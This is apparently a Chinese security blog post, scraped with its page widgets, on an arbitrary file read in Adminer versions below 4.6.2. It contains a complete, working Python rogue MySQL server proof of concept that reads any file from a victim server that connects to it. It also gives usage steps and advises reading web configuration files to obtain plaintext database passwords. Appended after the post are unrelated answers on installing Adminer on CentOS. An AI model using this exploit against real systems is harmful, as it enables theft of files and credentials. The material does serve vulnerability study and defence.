mysql-adminer任意文件读取

利用条件

1.adminer(版本小于4.6.2)可以远程连接数据库,
2.或者可以使靶机服务器主动连接自己的伪造的mysql服务器

原理

攻击者搭建一个伪造的mysql服务器,当有用户去连接上这个伪造的服务器时。
攻击者就可以任意读取受害者的文件内容。,也就是A连接B的数据库,B可以伪造假的数据库服务读取A服务器上的文件。
所以基于adminer连接的数据库可以反向利用连接自己的恶意服务器,从而达到读取任意文件的目的。

演示:

先下载好adminer,直接放在根路径即可:(攻击的服务器有adminerWeb服务)
image.png

poc

攻击机要有mysql服务并且使用2.7的python环境,kali自带,mysql服务虽然要有但不要开启,否则会报端口占用的错误
把下面文件保存成py文件

# coding=utf-8
import socket
import logging
import sys

logging.basicConfig(level=logging.DEBUG)

filename = sys.argv[1]
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("", 3306))
sv.listen(5)
conn, address = sv.accept()
logging.info('Conn from: %r', address)
conn.sendall(
    "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(9999)
logging.info(content)
conn.close()

使用方式:

直接跟上要读取的文件绝对路径,然后就会处于监听状态,注意不能够直接读取文件夹
image.png
若出现下面的报错,则需要把mysql的3306端口关闭:

在web页面服务器ip输入攻击机ip(kali的Ip)剩下的
随便输入:
image.png
发现出现报错的绝对路径,并成功在kali服务器上接收到文件内容:

image.png
目前这个方法暂时不能针对超级弱口令爆破,因为会连接重置。但是正常登录下也是可以读取到任意文件
所以可以读取web服务的默认配置文件,若对目录足够熟悉可以直接读取web服务配置数据库的文件获取明文密码:

通过命令框连接

若可以在服务端执行命令,也可以直接读取。密码随便输

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: Adminer是一个免费的Web管理数据库的工具,支持多种数据库。安装Adminer非常简单,以下是在CentOS上安装Adminer的步骤: 1. 安装Apache和PHP ``` sudo yum install httpd php php-mysql ``` 2. 下载Adminer ``` sudo wget https://github.com/vrana/adminer/releases/latest/download/adminer-x.x.x.php -O /var/www/html/adminer.php ``` 请将`x.x.x`替换为最新版本号。 3. 设置文件权限 ``` sudo chown apache:apache /var/www/html/adminer.php ``` 4. 重启Apache ``` sudo systemctl restart httpd ``` 现在您可以通过浏览器访问`http://your_server_ip/adminer.php`来使用Adminer了。请注意,为了安全起见,建议在使用Adminer后将其删除或重命名为其他名称。 ### 回答2: 要在CentOS上安装Adminer,可以按照以下步骤进行操作: 1. 首先,确保你的CentOS系统已经安装了Apache、MySQL和PHP。你可以使用以下命令来安装它们: ``` sudo yum install httpd mysql-server php php-mysql ``` 2. 下载Adminer压缩包。你可以在Adminer的官方网站上找到最新的版本,并使用wget命令下载它: ``` sudo wget https://www.adminer.org/latest.php ``` 3. 解压缩下载的文件,并将其移动到Apache的默认网站目录下: ``` sudo tar -xzvf latest.php sudo mv adminer-*.php /var/www/html/adminer.php ``` 4. 接下来,你需要修改Apache配置文件,以允许访问Adminer。打开`/etc/httpd/conf/httpd.conf`文件,并添加以下行: ``` Alias /adminer /var/www/html/adminer.php <Directory /var/www/html/adminer.php> Options FollowSymLinks AllowOverride All Require all granted </Directory> ``` 5. 重新启动Apache服务器: ``` sudo systemctl restart httpd ``` 6. 最后,打开你的Web浏览器,并访问`http://your_server_ip/adminer`。你将看到Adminer的登录页面,在这里你可以使用MySQL数据库的凭据进行登录并管理数据库。 通过按照以上步骤操作,你可以在CentOS上成功安装并使用Adminer进行数据库管理。 ### 回答3: 在CentOS上安装Adminer可以按照以下步骤进行: 首先,确保你已经在CentOS上安装了PHP和MySQL。如果没有安装,请使用以下命令安装: 1. 安装PHP:sudo yum install php php-mysql 2. 安装MySQL:sudo yum install mysql-server 3. 启动MySQL:sudo systemctl start mysqld 4. 设置MySQL开机自启动:sudo systemctl enable mysqld 接下来,下载Adminer的PHP文件: 1. 进入合适的目录(例如/var/www/html):cd /var/www/html 2. 下载Adminer的PHP文件:sudo wget https://github.com/vrana/adminer/releases/latest/download/adminer.php 然后,配置Web服务器以访问Adminer: 1. 如果使用Apache作为Web服务器,编辑Apache配置文件:sudo vi /etc/httpd/conf/httpd.conf 2. 在文件中找到`<Directory "/var/www/html">`,在其下面添加以下内容: ``` AllowOverride All Require all granted ``` 3. 保存文件并退出编辑器。 4. 重启Apache服务:sudo systemctl restart httpd 最后,可以通过浏览器访问Adminer: 1. 打开你的浏览器,并输入服务器的IP地址或域名,加上adminer.php的路径。例如:http://你的IP地址/adminer.php 2. 输入MySQL的用户名和密码来登录Adminer。 现在,你已经成功在CentOS上安装并访问了Adminer。你可以使用Adminer来管理和查询MySQL数据库。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

虚无-缥缈

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值